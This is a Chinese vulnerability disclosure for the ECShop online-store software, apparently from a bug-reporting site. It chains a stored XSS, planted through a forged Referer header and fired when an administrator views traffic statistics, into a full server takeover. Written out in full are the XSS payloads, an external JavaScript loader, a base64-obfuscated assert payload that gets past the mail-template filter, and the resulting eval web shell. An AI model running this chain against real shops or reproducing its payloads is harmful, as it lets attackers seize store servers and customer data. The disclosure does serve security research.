ecshop过滤不严导致上万网店可被getshell（需一定条件）

摘要

1.includes/lib_main.php过滤不严导致XSS看代码取出时也没有过滤,于是产生漏洞我们来构造一下REFERER

漏洞作者： Flow

1.includes/lib_main.php过滤不严导致XSS

看代码

function visit_stats() {     if (isset($GLOBALS['_CFG']['visit_stats']) && $GLOBALS['_CFG']['visit_stats'] == 'off')     {         return;     }     $time = gmtime();     /* 检查客户端是否存在访问统计的cookie */     $visit_times = (!empty($_COOKIE['ECS']['visit_times'])) ? intval($_COOKIE['ECS']['visit_times']) + 1 : 1;     setcookie('ECS[visit_times]', $visit_times, $time + 86400 * 365, '/');      $browser  = get_user_browser();     $os       = get_os();     $ip       = real_ip();     $area     = ecs_geoip($ip);      /* 语言 */     if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']))     {         $pos  = strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], ';');         $lang = addslashes(($pos !== false) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, $pos) : $_SERVER['HTTP_ACCEPT_LANGUAGE']);     }     else     {         $lang = '';     }      /* 来源 */     if (!empty($_SERVER['HTTP_REFERER']) && strlen($_SERVER['HTTP_REFERER']) > 9)     {         $pos = strpos($_SERVER['HTTP_REFERER'], '/', 9);//         if ($pos !== false)         {             $domain = substr($_SERVER['HTTP_REFERER'], 0, $pos);             $path   = substr($_SERVER['HTTP_REFERER'], $pos);              /* 来源关键字 */             if (!empty($domain) && !empty($path))             {                 save_searchengine_keyword($domain, $path);             }         }         else         {             $domain = $path = '';         }     }     else     {         $domain = $path = '';     }      $sql = 'INSERT INTO ' . $GLOBALS['ecs']->table('stats') . ' ( ' .                 'ip_address, visit_times, browser, system, language, area, ' .                 'referer_domain, referer_path, access_url, access_time' .             ') VALUES (' .                 "'$ip', '$visit_times', '$browser', '$os', '$lang', '$area', ".                 "'" . addslashes($domain) ."', '" . addslashes($path) ."', '" . addslashes(PHP_SELF) ."', '" . $time . "')";     $GLOBALS['db']->query($sql);//$domain 从$_SERVER取出,只是简单的addslashes一下,没有过滤html标签 }

取出时也没有过滤,于是产生漏洞

我们来构造一下REFERER

访问首页,构造Referer值为'></graph>"><IMG SRC='' onerror=javascript:alert('XSS')>/

提交,如图,

 

管理员查看流量分析时触发,如图

 

 

 

2.打cookie多没意思,咱们getshell吧

构造Referer值为--></script>/

提交

再次构造Referer值为'></graph>"><script src="http:////127.0.0.1//demo.js"><!--/

提交(src后面的js地址必须用反斜杠)

demo.js内容为

Ajax.call('mail_template.php?is_ajax=1&act=save_template', "subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24u%27%5D%3Bassert%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7%3D%3D%27%29%29%3B+%2F%2F_var%5B%27%7D%3C%3F" , a, "POST", "JSON");/*写php代码到取回密码邮件模板,会员执行取回密码时执行php代码*/ Ajax.call('../user.php?act=get_password','act=send_pwd_email&user_name=vip&[email protected]', a , "POST", "JSON");/*前台取回密码.这里的vip和[email protected]为前台会员帐号和邮箱,我懒得注册了就用这个测试*/ function a(){ alert(''); }

触发后,会在网店根目录生成一个test.php的文件,内容为<?php @eval($_POST['a']);?>

这里利用的是写php代码到取回密码邮件模板,执行取回密码操作时执行写入的代码

漏洞在includes/cls_template.php的fetch_str()函数

function fetch_str($source)     {         if (!defined('ECS_ADMIN'))         {             $source = $this->smarty_prefilter_preCompile($source);         }         $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |/()/is", "", $source);//过滤了部分php关键词          if(preg_match_all('~(</?(?:/w+|=)?|/?>|language/s*=/s*[/"/']?php[/"/']?)~is', $source, $sp_match))         {               $sp_match[1] = array_unique($sp_match[1]);             for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)             {                 $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);             }              for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)             {                  $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo /''.str_replace("'", "/'", $sp_match[1][$curr_sp]).'/'; ?>'."/n", $source);             }          }           return preg_replace("/{([^/}/{/n]*)}/e", "/$this->select('//1');", $source);     }

我们可以构造代码到取回邮件模板:

{$u'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7==')); //_var['}<?

执行取回操作即可绕过过滤执行我们构造的代码